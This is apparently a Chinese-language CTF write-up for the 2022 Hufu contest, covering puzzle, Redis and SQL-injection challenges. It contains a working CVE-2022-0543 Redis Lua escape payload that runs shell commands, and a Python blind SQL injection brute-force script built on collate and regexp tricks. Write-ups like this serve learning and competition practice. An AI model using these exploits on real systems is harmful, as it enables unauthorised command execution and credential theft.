前言 感觉今年虎符题目难度比去年上升了一个维度,又难又卷直接原地坐牢~
Misc Check in 关注”DataCon大数据安全分析竞赛”回复”2022虎符签到”即可获得flag
Quest-Crash 根据题目所述,一直往里写数据打崩redis就行。于是我们通过burp一直爆破
另外一边一直getflag,发包即可得到flag
Plain Text
ZE9CUk8gUE9WQUxPV0FUWCBOQSBNQVReLCBXWSBET0xWTlkgUEVSRVdFU1RJIFxUTyBOQSBBTkdMSUpTS0lKIFFaWUsuIHRXT0ogU0VLUkVUIFNPU1RPSVQgSVogRFdVSCBTTE9XLiB3U0UgQlVLV1kgU1RST15OWUUuIHFCTE9eTllKIEFSQlVaLiB2RUxBRU0gV0FNIE9UTEleTk9HTyBETlEu Flag格式 HFCTF{[a-z_]+},如有空格使用下划线代替。
base64解码得到:
1 dOBRO POVALOWATX NA MAT^ , WY DOLVNY PEREWESTI \ TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^ NYE. qBLO^ NYJ ARBUZ. vELAEM WAM OTLI^ NOGO DNQ.
然后将其一句一句翻译得知flag就是🍎🍉
Quest-RCE CVE-2022-0543,网上有现成的可以直接打
1 {"query":"SET A A\r\neval \"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('ls', 'r'); local res = f:read('*a'); f:close(); return res\" 0 \r\n"}
Web babysql
It is a pure sql injection challenge. Login any account to get flag. Have fun with mysql 8. There is something useful in /hint.md.
提示:regexp
根据官方给的hint,这是个 regexp
还有也给了一个hint.md
1 2 3 4 5 6 7 CREATE TABLE `auth` ( `id` int NOT NULL AUTO_INCREMENT, `username` varchar (32 ) NOT NULL , `password` varchar (32 ) NOT NULL , PRIMARY KEY (`id`), UNIQUE KEY `auth_username_uindex` (`username`) ) ENGINE= InnoDB AUTO_INCREMENT= 2 DEFAULT CHARSET= utf8mb4 COLLATE = utf8mb4_0900_ai_ci;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import { Injectable } from '@nestjs/common' ;import { ConnectionProvider } from '../database/connection.provider' ;export class User { id : number; username : string; } function safe (str: string ): string { const r = str .replace (/[\s,()#;*\-]/g , '' ) .replace (/^.*(?=union|binary).*$/gi , '' ) .toString (); return r; } @Injectable () export class AuthService { constructor (private connectionProvider: ConnectionProvider ) {} async validateUser (username : string, password : string): Promise <User > | null { const sql = `SELECT * FROM auth WHERE username='${safe(username)} ' LIMIT 1` ; const [rows] = await this .connectionProvider .use ((c ) => c.query (sql)); const user = rows[0 ]; if (user && user.password === password) { const { password, ...result } = user; return result; } return null ; } }
主要信息就是sql表的结构,以及登陆验证方式,这里LIKE对大小写不敏感,所以需要用 utf8mb4_0900_as_cs 。
然后写脚本爆破就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestspayload="1'||case'1'when`username`like'{}%'collate'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0" list = string.ascii_letters + string.digits + '^$!_%@&' url = 'http://47.107.231.226:32966/login' j='' while 1 : for i in list : now_payload=payload.format (j+i) date={ 'password' : 'qaq' , 'username' : now_payload } re = requests.post(url,data=date).text if '401' in re: j+=i print (j) break
最后账号密码登陆得到flag